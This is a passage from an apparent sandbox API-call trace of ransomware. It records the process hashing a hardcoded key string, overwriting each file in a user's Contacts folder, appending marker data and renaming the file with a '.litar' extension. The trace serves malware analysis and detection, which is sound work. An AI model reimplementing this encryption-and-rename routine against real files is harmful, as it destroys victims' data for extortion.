dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.010] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0125.011] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.011] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.011] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.011] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.012] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.012] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.012] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.012] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.012] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.012] GetLastError () returned 0x0 [0125.012] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.013] SetLastError (dwErrCode=0x0) [0125.013] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] GetLastError () returned 0x0 [0125.014] SetLastError (dwErrCode=0x0) [0125.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.014] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.014] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10b20) returned 0x30fa0b0 [0125.016] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.016] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0125.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.016] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.016] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.016] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.016] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.016] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.017] CloseHandle (hObject=0x624) returned 1 [0125.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.018] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.litar")) returned 1 [0125.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.018] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.019] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0125.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0125.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.019] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1171) returned 1 [0125.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.021] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.021] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.023] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.023] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x493, lpOverlapped=0x0) returned 1 [0125.023] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.023] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.023] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.023] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.024] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.024] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.024] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.024] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.024] GetLastError () returned 0x0 [0125.024] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.025] SetLastError (dwErrCode=0x0) [0125.025] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] GetLastError () returned 0x0 [0125.026] SetLastError (dwErrCode=0x0) [0125.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.026] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.026] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x490) returned 0x3055af0 [0125.026] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.026] WriteFile (in: hFile=0x624, lpBuffer=0x3055af0*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3055af0*, lpNumberOfBytesWritten=0x398fb24*=0x48e, lpOverlapped=0x0) returned 1 [0125.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.027] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.027] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.027] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.027] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.027] CloseHandle (hObject=0x624) returned 1 [0125.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.litar")) returned 1 [0125.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.028] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.029] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0125.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.030] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0125.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.031] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1177) returned 1 [0125.031] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.033] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.033] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.035] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.035] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x499, lpOverlapped=0x0) returned 1 [0125.035] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.035] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.035] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.035] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.036] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.036] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.036] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.036] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.036] SetLastError (dwErrCode=0x0) [0125.036] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.037] SetLastError (dwErrCode=0x0) [0125.037] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] GetLastError () returned 0x0 [0125.038] SetLastError (dwErrCode=0x0) [0125.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.038] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.038] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4a0) returned 0x3055af0 [0125.038] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.038] 